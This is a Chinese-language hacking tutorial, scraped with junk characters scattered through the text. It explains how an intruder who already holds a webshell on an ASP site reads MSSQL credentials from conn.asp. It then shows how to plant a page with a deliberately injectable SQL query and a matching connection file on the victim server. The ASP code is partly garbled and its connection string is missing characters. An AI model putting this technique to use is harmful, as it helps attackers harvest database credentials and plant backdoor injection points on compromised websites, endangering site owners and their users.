首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
0 n* Q8 G( @) \. gASP/Visual Basic代码
% ~; W0 z: O* f& `6 Q<!--#include file="xx.asp"--> 4 e# f" A2 {# T
<%
& p3 K5 ~$ F. s" X4 J/ t2 t ~set rs=server.createobject("ADODB.recordset")
. y0 o/ a2 r" W; O6 v* mid = request("id")
: N$ N0 K- ~5 |& p D9 k z. DstrSQL = "select * from admin where id=" & id 1 j: h$ j6 ~4 w6 Q& \' d) |# X" _
rs.open strSQL,conn,1,3 3 d9 u: H$ f; _5 [- M2 U
rs.close
3 {4 t0 u0 j( K& V%> 1 s U* b" {% d" V& P, c, X
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!5 r5 ?" _+ @( z$ T
然后就要构造一个连接数据库的文件了,代码如下:) p; |6 `3 H6 o) s; Q( f- x# r
ASP/Visual Basic代码
/ d d" }7 d5 c$ l& J5 f<%
$ t- v! n6 t( ]9 [& q5 _/ [9 `strSQLServerName = "000.000.000.000" '服务器名称或地址 ) l% g4 x) I+ K0 f( D! Y6 x
strSQLDBUserName = "sqlname" '数据库帐号
. a# ~; `7 M8 B" b+ A6 fstrSQLDBPassword = "sqlpass" '数据库密码
j* O- E, [8 ~- v0 S! |. b* AstrSQLDBName = "sqldataname" '数据库名称 $ q4 ~. ^! Z1 G! J! ~ d4 q
Set conn = Server.CreateObject("ADODB.Connection") , ~7 A0 m7 y/ m. f. Q: i
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
8 W& t4 Q+ f' V H9 I% aconn.open strCon / I; ^* V' }" v
%>
" V# ~( w2 o% u' ]' Z3 J5 K这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功
0 Z F6 s3 t4 a0 L1 G |